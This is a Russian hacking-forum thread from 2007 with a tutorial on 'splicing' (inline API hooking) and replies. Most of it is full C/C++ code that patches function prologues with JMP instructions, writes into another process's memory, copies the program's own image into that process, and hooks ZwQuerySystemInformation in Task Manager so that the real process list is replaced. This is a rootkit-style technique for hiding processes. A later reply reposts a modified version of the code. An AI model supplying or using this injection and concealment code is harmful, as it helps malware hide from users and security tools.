ANTICHAT.RU    VIDEO.ANTICHAT.RU    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  

???????? RU ?????? ? RU ??????? ? ????? ???????. ? ??? ?????? ????!



ViKing – ?????? ????????? ??? ??????? ????????? ????? ?????????!

Вернуться   ????? ??????? > ???? > ?????? > ????????? ??????
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Splicing
  #1  
Старый 27.01.2007, 15:44
Аватара для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщения: 2,372
Провел на форуме:
2 месяца 1 день

Репутация: 734 ±



Отправить сообщение для  _Great_ с помощью ICQ
По умолчанию Splicing

Article: Splicing
Author: Great
Date: 27.01.2007
Lang: C/C++
Note: Статья для новчиков с разъяснением перехвата функций методом сплайсинга.

Splicing в переводе с английского - склеивание, сращивание. Суть этого метода перехвата функций заключается в замене первых байт функции на переход в функцию-перехватчик, которая сделает некоторые действия и вернет управление в программу. Функция-перехватчик может восстановить первые байты и запустить оригинальную функцию, обработав ее вывод перед возвращением в программу. Например, можно убрать "лишние" файлы в каталоге, "ненужные" процессы в системе и так далее, ну вы меня поняли =). Обычно эта методика применяется в пользовательском режиме, хотя некоторые фаерволы таким образом перехватывают функции ядра.
Безусловно, этот метод не единственный. Другой распространенный метод - корректировка таблицы импорта приложения. Он обладает одним существенным недостатком - будет сложно (а порой и невозможно) ставить перехват, если приложение импортирует функции динамически и не ползуется импортом. Сплайсинг лишен таких недостатков, потому что не важно каким образом будет получен адрес функции, ведь функцию-то мы уже "пропатчили".
Классический вариант сплайсинга - установка на место первых пяти байт инструкции JMP FAR HookProc (ровно столько занимает ее машинный код). Конечно, можно ставить и другие инструкции, например, CALL FAR addr, PUSH addr/RET FAT, MOV EDI, addr/CALL EDI - количество вариантов ограничено лишь фантазией программиста и возможностями ассемблера. Мы все же остановимся на классическом варианте - JMP FAR addr. Опкод этой команды - E9 XX YY ZZ QQ, где число QQZZYYXX (в 16ричном виде, конечно) предствляет собой разницу между адреом addr и адресом следующей за JMP инструкцией. То есть она равна addr-proc-5, т.к. JMP FAR занимает ровно 5 байт.
Перед перезаписью функции нужно разрешить сперва запись в секцию кода, которая по умолчанию отключена, иначе мы рискуем нарваться на Access Violation, а в режиме ядра и вовсе на BSoD. С учетом всех поправок функции установки и снятия перехвата в адресном пространстве текущего процесса примут следущий вид:
Код:
// ставим локальный хук
bool SetSplicingHook(void* pfnDst, void* pfnHook, UCHAR buffer[5])
{
	// проверка указателей
	if(IsBadWritePtr(buffer, 5) || IsBadReadPtr(pfnDst, 5)) return false;
	memcpy(buffer, pfnDst, 5); // бекап начала функции

	// разрешаем запись в страницу с кодом
	DWORD old = 0;
	if(!VirtualProtect(pfnDst, 5, PAGE_READWRITE, &old)) return false; // мы запрашиваем 5 байт, но на самом деле изменятся права доступа всей страницы сразу
	
	// ставим JMP FAR
	DWORD offset = (DWORD) pfnHook - (DWORD) pfnDst - 5;
	*(BYTE*)pfnDst = 0xE9; // JMP FAR
	*(DWORD*)((DWORD)pfnDst+1) = offset;

	// восстанавливает старые атрибуты страницы
	if(!VirtualProtect(pfnDst, 5, old, &old)) return false;

	// ништяк
	return true;
}

// снимаем локальный хук
void UnsetSplicingHook(void* pfnDst, UCHAR buffer[5])
{
	DWORD old = 0;
	if(!VirtualProtect(pfnDst, 5, PAGE_READWRITE, &old)) return;
	memcpy(pfnDst, buffer, 5); // восстанавливаем первые 5 байт из бекапа
	if(!VirtualProtect(pfnDst, 5, old, &old)) return;
}

Позаботиться о 5-байтовом буфере должен будет пользователь.
С чужим процессом ситуация аналогичная, лишь VirtualProtect меняется на VirtualProtectEx, а прямое чтение/запись на ReadProcessMemory/WriteProcessMemory.
Инъекция в чужой процесс:
Код:
// ставим хук на другой процесс
bool SetSplicingHookEx(HANDLE hProcess, void* pfnDst, void* pfnHook, UCHAR buffer[5])
{ // аналогично SetSplicingHook
	DWORD t = 0;
	if(!ReadProcessMemory(hProcess, pfnDst, buffer, 5, &t) || t!=5) return false;

	DWORD old = 0;
	if(!VirtualProtectEx(hProcess, pfnDst, 5, PAGE_READWRITE, &old)) return false;

	DWORD offset = (DWORD) pfnHook - (DWORD) pfnDst - 5;
	if(!WriteProcessMemory(hProcess, pfnDst, "\xE9", 1, &t) || t!=1) return false;
	if(!WriteProcessMemory(hProcess, (LPVOID)((DWORD)pfnDst+1), &offset, 4, &t) || t!=4) return false;
	if(!VirtualProtectEx(hProcess, pfnDst, 5, old, &old)) return false;

	return true;
}

// снимаем хук с другого процесса
void UnsetSplicingHookEx(HANDLE hProcess, void* pfnDst, UCHAR buffer[5])
{ // аналогично UnsetSplicingHook
	DWORD old = 0, t = 0;
	if(!VirtualProtectEx(hProcess, pfnDst, 5, PAGE_READWRITE, &old)) return;
	WriteProcessMemory(hProcess, pfnDst, buffer, 5, &t);
	if(!VirtualProtectEx(hProcess, pfnDst, 5, old, &old)) return;
}


Чтобы удобно объявлять функции перехвата и не забывать про буфера для 5 байт, мы объявим макросы:
Код:
// макросы для удобного объявления/установки/снятия хуков

// объявить хук
#define DECLARE_HOOK(RET, FUNC, PARAMS) UCHAR buf##FUNC[5]; RET x##FUNC PARAMS

int ErrMessageBox(int,char* e,int,int)
{
	char t[1024];
	FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, 0, GetLastError(), 0, t, sizeof(t), 0);
	return MessageBox(0, t, e, MB_ICONERROR);
}

// поставить локальный хук
#define SET_FUNC_HOOK(FUNC) if(!SetSplicingHook(FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK(FUNC) UnsetSplicingHook(FUNC, buf##FUNC);

// поставить хук на чужой процесс P
#define SET_FUNC_HOOK_EX(P,FUNC) if(!SetSplicingHookEx(P,FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK_EX(P,FUNC) UnsetSplicingHookEx(P,FUNC, buf##FUNC);

// ставим хуки по указателю

#define DECLARE_HOOK_LP(RET, FUNC, PARAMS) RET (WINAPI *lp##FUNC) PARAMS; UCHAR buf##FUNC[5]; RET WINAPI x##FUNC PARAMS

#define GET_HOOK_LP(MOD, FUNC) 	*(FARPROC*)&lp##FUNC = GetProcAddress(LoadLibrary(MOD), #FUNC);

#define SET_FUNC_HOOK_LP(FUNC) if(!SetSplicingHook(lp##FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK_LP(FUNC) UnsetSplicingHook(lp##FUNC, buf##FUNC);

#define SET_FUNC_HOOK_EX_LP(P,FUNC) if(!SetSplicingHookEx(P,lp##FUNC, x##FUNC, buf##FUNC)) ExitProcess(ErrMessageBox(0, "Cannot set hook to " #FUNC, 0, MB_ICONERROR));
#define UNSET_FUNC_HOOK_EX_LP(P,FUNC) UnsetSplicingHookEx(P,lp##FUNC, buf##FUNC);

Макрос DECLARE_HOOK объявляет глобальный буфер (его имя - "buf"+имя функции) и функцию-замену для перехватываемой функции (ее имя будет "x"+имя оригинальной функции).
SET_FUNC_HOOK и UNSET_FUNC_HOOK ставят и снимают перехват с текущем процессе. Аналогично SET_FUNC_HOOK_EX и UNSET_FUNC_HOOK_EX ставят и снимают перехват с чужого процесса.
Третий набор функций служит для перехвата функций в чужом процессе, если у нас есть ее адрес. (Первые пользовались лишь импортом текущего процесса).
Адрес хранится в переменной с именем "lp"+имя функции, остальное аналогично за исключением того, что функция тут объявляется с модификатором WINAPI (тоже самое, что и __stdcall), потому что в основном мы будем перехватывать именно апишки, а писать несколько макросов для каждого типа функции будет жирновато.

Рассмотрим, наконец, пример Мы напишем программу, которая запускает Task Manager и перехватывает ему ntdll!ZwQuerySystemInformation и подкорректируем список процессов. А именно, мы вернем лишь один процесс с именем "GR8 0wn3d u".
Правда чтобы безнаказанно расставлять перехваты в чужом процессе, нам надо сначала перенести свой код в его адресное пространство. Чтобы не заморачиваться с переносом каждой функции, мы просто аккуратно страничку за страничкой перенем ВЕСЬ наш EXE-модуль в чужой процесс, вместе с MZ и PE-заголовками, кодом, данными, импортом и прочим. Чтобы быть уверенным, что по нашим адресам в чужом адресном пространстве ничего нет, мы поставим себе базу повыше - где-нибудь около 29A00000.
Опишем функцию для переноса себя в чужой процесс (из статьи Gorl'а "Программа-невидимка". хотел написать сам, потом плюнул и взял готовую, только слегка модифицировал):
Код:
bool TransferProgramEx(HANDLE hProcess)
{
	// получаем свою базу загрузки и освобождаем память в чужом адресном пространстве по этому виртуальному адресу
	HMODULE g_module = GetModuleHandle(0);
	VirtualFreeEx(hProcess, g_module, 0, MEM_RELEASE);
	
	// получаем свой размер EXE
	DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) + ((PIMAGE_DOS_HEADER)(g_module))->e_lfanew + 
		sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;

	// выделяем память под свое тело
	char *pMem = (char *)VirtualAllocEx(hProcess, g_module, dwSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(pMem == NULL) return FALSE;
		
	DWORD dwOldProt, dwNumBytes, i;
	MEMORY_BASIC_INFORMATION mbi;
	 
	// постранично копируем себя в выделенную память по тем же виртуальным адресам, что и здесь
	VirtualQueryEx(hProcess, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
	while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0)
	{
		if (!(mbi.Protect & PAGE_GUARD))
		{
			for (i = 0; i < mbi.RegionSize; i += 0x1000)
			{
				VirtualProtectEx(hProcess, pMem + i, 0x1000,PAGE_EXECUTE_READWRITE, &dwOldProt);
				WriteProcessMemory(hProcess, pMem + i, pMem + i, 0x1000, &dwNumBytes);
			}
		}
		pMem += mbi.RegionSize;
		VirtualQueryEx(hProcess, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));	
	}

	// все ок ;)
	return true;
}

Теперь можно смело рваться в бой, то есть перехватывать ZwQuerySystemInformation. Сначала опишем структуры и типы, которые она использует:
Код:
typedef LONG    NTSTATUS;
typedef LONG    KPRIORITY;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#define STATUS_SUCCESS                   ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

#define SystemProcessesAndThreadsInformation    5

typedef struct _UNICODE_STRING {
    USHORT        Length;
    USHORT        MaximumLength;
    PWSTR         Buffer;
} UNICODE_STRING;

typedef struct _SYSTEM_PROCESSES {
    ULONG             NextEntryDelta;
    ULONG             ThreadCount;
    ULONG             Reserved1[6];
    LARGE_INTEGER     CreateTime;
    LARGE_INTEGER     UserTime;
    LARGE_INTEGER     KernelTime;
    UNICODE_STRING    ProcessName;
    KPRIORITY         BasePriority;
    ULONG             ProcessId;
    ULONG             InheritedFromProcessId;
    ULONG             HandleCount;
    ULONG             Reserved2[2];
//    VM_COUNTERS       VmCounters;
//    SYSTEM_THREADS    Threads[1];
} SYSTEM_PROCESSES, * PSYSTEM_PROCESSES;


Собственно сам обработчик будет очень простым:
Код:
DECLARE_HOOK_LP(NTSTATUS, ZwQuerySystemInformation, 
				(UINT SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength))
{
	UNSET_FUNC_HOOK_LP(ZwQuerySystemInformation);
	NTSTATUS ret = lpZwQuerySystemInformation(SystemInformationClass,   SystemInformation, SystemInformationLength, ReturnLength);
	SET_FUNC_HOOK_LP(ZwQuerySystemInformation);
	if(ret != STATUS_SUCCESS)
		return ret;

	if(SystemInformationClass == SystemProcessesAndThreadsInformation)
	{
		PSYSTEM_PROCESSES pProcesses = (PSYSTEM_PROCESSES)SystemInformation;

		memset(pProcesses, 0, sizeof(SYSTEM_PROCESSES));
		pProcesses->NextEntryDelta = 0;
		pProcesses->ProcessId = 1;
		pProcesses->ProcessName.Buffer = L"GR8 0wn3d u";
		pProcesses->ProcessName.Length = 100;
	}

	return ret;
}

Если вызывают его с параметром SystemProcessesAndThreadsInformation, возвращаем всего лишь один процесс "GR8 0wn3d u", выставляя такое значение имени процесса. Длинну ставим 100 с рассчетом на то, что этого точно хватит. Обнуляем поле NextEntryDelta в списке процессов, чтобы показать, что это первый и последний процесс в списке.
Собственно и сама установка перехвата - стартуем таск менеджер, ждем, пока он подготовится к вводу, останавливаем поток, ставим хук, переносим себя в его адресное пространство и восстанавливаем поток:
Код:
INT APIENTRY WinMain(HINSTANCE, HINSTANCE, LPSTR, INT)
{
	// стартуем exe'шник
	STARTUPINFO si = {sizeof(si)};
	PROCESS_INFORMATION pi = {0};
	if(!CreateProcess(0, "taskmgr.exe", 0, 0, TRUE, 0, 0, 0, &si, &pi))
		return MessageBox(0, "Cannot create process", 0, MB_ICONERROR);
	HANDLE hProcess = pi.hProcess;
	HANDLE hThread = pi.hThread;
	
	// ждем пока он запустится
	WaitForInputIdle(hProcess, 100);

	SuspendThread(hThread);

	// получаем адреса
	GET_HOOK_LP("ntdll.dll", ZwQuerySystemInformation);

	// ставим хуки
	SET_FUNC_HOOK_EX_LP(hProcess, ZwQuerySystemInformation);

	// переносим свою тушу
	if(!TransferProgramEx(hProcess))
		return TerminateProcess(hProcess, 0), MessageBox(0, "Cannot copy module", 0, MB_ICONERROR);

	ResumeThread(hThread);

	return 0;
}


Результат не заставит себя ждать


Позволю себе на этом откланиться. Пока )
 
Ответить с цитированием

  #2  
Старый 27.01.2007, 20:50
Аватара для Arin
Arin
Познающий
Регистрация: 20.12.2006
Сообщения: 83
Провел на форуме:
1 неделю 3 дня

Репутация: 11 ±

По умолчанию

За статью действительно респект. Хотя я и мало понял, но интуиция подсказывает - это интересно!
 
Ответить с цитированием

  #3  
Старый 21.05.2007, 04:12
Аватара для 4xks
4xks
Banned
Регистрация: 02.03.2007
Сообщения: 38
Провел на форуме:
10 часов 49 минут 9 секунд

Репутация: 0 ±

По умолчанию

Да палицо ето дело фаерами модными теперь, или я неправ?
 
Ответить с цитированием

  #4  
Старый 14.05.2010, 23:53
Аватара для Nevazno
Nevazno
Новичок
Регистрация: 14.05.2010
Сообщения: 1
Провел на форуме:
31 минуту 9 секунд

Репутация: 0 ±

Question

Здравствуйте.
Прошу помощи в хуке ZwQuerySystemInformation.
Следующий код аналогичен приведённому выше (переписан без макросов, т.к. с макрасами был невозможен дебаг).
Но почему-то не работает.
Параметр VirtualProtect() PAGE_READWRITE был изменён на PAGE_EXECUTE_READWRITE, т.к. с PAGE_READWRITE вылетал accsess violation.
Прога считает вызовы ZwQuerySystemInformation. В пошаговой отладке видно, что память по указателю исходной функции изменяется но почему-то диспетчер задач показывает все процессы и счётчик вызовов не изменяется.
Работаю в MSVC 2008, OC windows 7 (слас другу с XP - ситуация аналогична).

Заранее спасибо.

PHP код:
 #include <windows.h>

LRESULT CALLBACK WndProc(HWNDUINTWPARAMLPARAM);

WCHAR wch[60];
int i;

typedef LONG    NTSTATUS;
typedef LONG    KPRIORITY;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#define STATUS_SUCCESS                   ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

#define SystemProcessesAndThreadsInformation    5

typedef struct _UNICODE_STRING {
    
USHORT        Length;
    
USHORT        MaximumLength;
    
PWSTR         Buffer;
UNICODE_STRING;

typedef struct _SYSTEM_PROCESSES {
    
ULONG             NextEntryDelta;
    
ULONG             ThreadCount;
    
ULONG             Reserved1[6];
    
LARGE_INTEGER     CreateTime;
    
LARGE_INTEGER     UserTime;
    
LARGE_INTEGER     KernelTime;
    
UNICODE_STRING    ProcessName;
    
KPRIORITY         BasePriority;
    
ULONG             ProcessId;
    
ULONG             InheritedFromProcessId;
    
ULONG             HandleCount;
    
ULONG             Reserved2[2];
//    VM_COUNTERS       VmCounters;
//    SYSTEM_THREADS    Threads[1];
SYSTEM_PROCESSES, * PSYSTEM_PROCESSES;

UCHAR bufZwQSI[5]; //буфер
typedef NTSTATUS (WINAPI *pWinApiF) (UINT SystemInformationClassPVOID SystemInformationULONG SystemInformationLengthPULONG ReturnLength);

pWinApiF lpZwQSI//указатель на ZwQuerySystemInformation

NTSTATUS WINAPI xZwQSI(UINT SystemInformationClassPVOID SystemInformationULONG SystemInformationLengthPULONG ReturnLength);

///////////////////////////////////////////////////////////////////////////////////////////////
// ставим локальный хук
bool SetSplicingHook(pWinApiF pfnDstpWinApiF pfnHookUCHAR buffer[5])
{
    
// проверка указателей
    
if(IsBadWritePtr(buffer5) || IsBadReadPtr(pfnDst5)) return false;
    
memcpy(bufferpfnDst5); // бекап начала функции
    // разрешаем запись в страницу с кодом
    
DWORD old 0;
    if(!
VirtualProtect(pfnDst5PAGE_EXECUTE_READWRITE, &old)) return false// мы запрашиваем 5 байт, но на самом деле изменятся права доступа всей страницы сразу
    
    // ставим JMP FAR
    
DWORD offset = (DWORDpfnHook - (DWORDpfnDst 5;
    *(
BYTE*)pfnDst 0xE9// JMP FAR
    
*(DWORD*)((DWORD)pfnDst+1) = offset;

    
// восстанавливает старые атрибуты страницы
    
if(!VirtualProtect(pfnDst5old, &old)) return false;

    
// ништяк
    
return true;
}

// снимаем локальный хук
void UnsetSplicingHook(pWinApiF pfnDstUCHAR buffer[5])
{
    
DWORD old 0;
    if(!
VirtualProtect(pfnDst5PAGE_EXECUTE_READWRITE, &old)) return;
    
memcpy(pfnDstbuffer5); // восстанавливаем первые 5 байт из бекапа
    
if(!VirtualProtect(pfnDst5old, &old)) return;
}

NTSTATUS WINAPI xZwQSI(UINT SystemInformationClassPVOID SystemInformationULONG SystemInformationLengthPULONG ReturnLength)
{
    
wsprintf(wch,L"%d",++i);
    
UnsetSplicingHook(lpZwQSIbufZwQSI);
    
NTSTATUS ret lpZwQSI(SystemInformationClass,   SystemInformationSystemInformationLengthReturnLength);
    if(!
SetSplicingHook(lpZwQSIxZwQSIbufZwQSI))
    {
        
MessageBox(NULLL"Cannot set hook to ZwQuerySystemInformation"L"Error"MB_OK);
        
ExitProcess(0);
    }
    if(
ret != STATUS_SUCCESS)
        return 
ret;

    if(
SystemInformationClass == SystemProcessesAndThreadsInformation)
    {
        
PSYSTEM_PROCESSES pProcesses = (PSYSTEM_PROCESSES)SystemInformation;

        
memset(pProcesses0sizeof(SYSTEM_PROCESSES));
        
pProcesses->NextEntryDelta 0;
        
pProcesses->ProcessId 1;
        
pProcesses->ProcessName.Buffer L"GR8 0wn3d u";
        
pProcesses->ProcessName.Length 100;
    }

    return 
ret;
}
///////////////////////////////////////////////////////////////////////////////////////////////
int WINAPI WinMain(HINSTANCE hInstanceHINSTANCE hPrevInstanceLPSTR lpCmdLineint nCmdShow)
{
    
wsprintf(wch,L"none");
    
i=0;
// получаем адреса
    
*(FARPROC*)&lpZwQSI GetProcAddress(LoadLibrary(L"ntdll.dll"), "ZwQuerySystemInformation");
    if(!
SetSplicingHook(lpZwQSIxZwQSIbufZwQSI))
    {
        
MessageBox(NULLL"Cannot set hook to ZwQuerySystemInformation"L"Error"MB_OK);
        
ExitProcess(0);
    }
////////////////////////////////////////////////////////
    
HWND hMainWnd;  
    
WCHAR szClassName[] = L"Hide";
    
MSG msg;
    
WNDCLASSEX wc;
    
wc.cbSize        sizeof(wc);        
    
wc.style         CS_HREDRAW CS_VREDRAW;
    
wc.lpfnWndProc   WndProc;
    
wc.cbClsExtra     0;
    
wc.cbWndExtra    0;
    
wc.hInstance     hInstance;
    
wc.hIcon         LoadIcon(NULLIDI_APPLICATION);
    
wc.hCursor       LoadCursor(NULLIDC_ARROW);
    
wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    
wc.lpszMenuName  NULL;
    
wc.lpszClassName szClassName;
    
wc.hIconSm       LoadIcon(NULLIDI_APPLICATION);

    if (!
RegisterClassEx(&wc)) {
        
MessageBox(NULLL"Cannot register class"L"Error"MB_OK);
        return 
0;
    }

    
hMainWnd CreateWindowEx
        
NULL,szClassNameL"Hide",
        
WS_CAPTION WS_SYSMENU,
        
1000400150150,
        (
HWND)NULL, (HMENU)NULL,
        (
HINSTANCE)hInstanceNULL
    
);
    
    if (!
hMainWnd) {
        
MessageBox(NULLL"Cannot create main window"L"Error"MB_OK);
        return 
0;
    }

    
ShowWindow(hMainWndnCmdShow);

    while (
GetMessage(&msgNULL00))  {
        
TranslateMessage(&msg);
        
DispatchMessage(&msg);
    }

    return 
msg.wParam;
}
///////////////////////////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK WndProc(HWND hWndUINT msgWPARAM wParamLPARAM lParam)
{
    
HDC hDC;
    
PAINTSTRUCT ps;
    
RECT rect;
    switch (
msg)
    {
    case 
WM_CREATE:
        
SetTimer(hWnd,NULL,500,NULL);
        return 
0;

    case 
WM_TIMER:
            
InvalidateRect(hWnd,NULL,TRUE);
        return 
0;

    case 
WM_PAINT:
        
hDC BeginPaint(hWnd, &ps);
        
GetClientRect(hWnd,&rect);
        
DrawText(hDCwch, -1, &rect,
            
DT_SINGLELINE DT_CENTER DT_VCENTER );
        
EndPaint(hWnd, &ps);
        return 
0;

    case 
WM_CLOSE:
        
DestroyWindow(hWnd);
        return 
0;
    case 
WM_DESTROY:
        
PostQuitMessage(0);
        return 
0;
    default:
        return 
DefWindowProc(hWndmsgwParamlParam);
    }
    return 
0;

 
Ответить с цитированием
Ответ




Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра


Быстрый переход

plohihzagrusok.net


Powered by: vBulletin Version 3.0.x
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd.

ANTICHAT.RU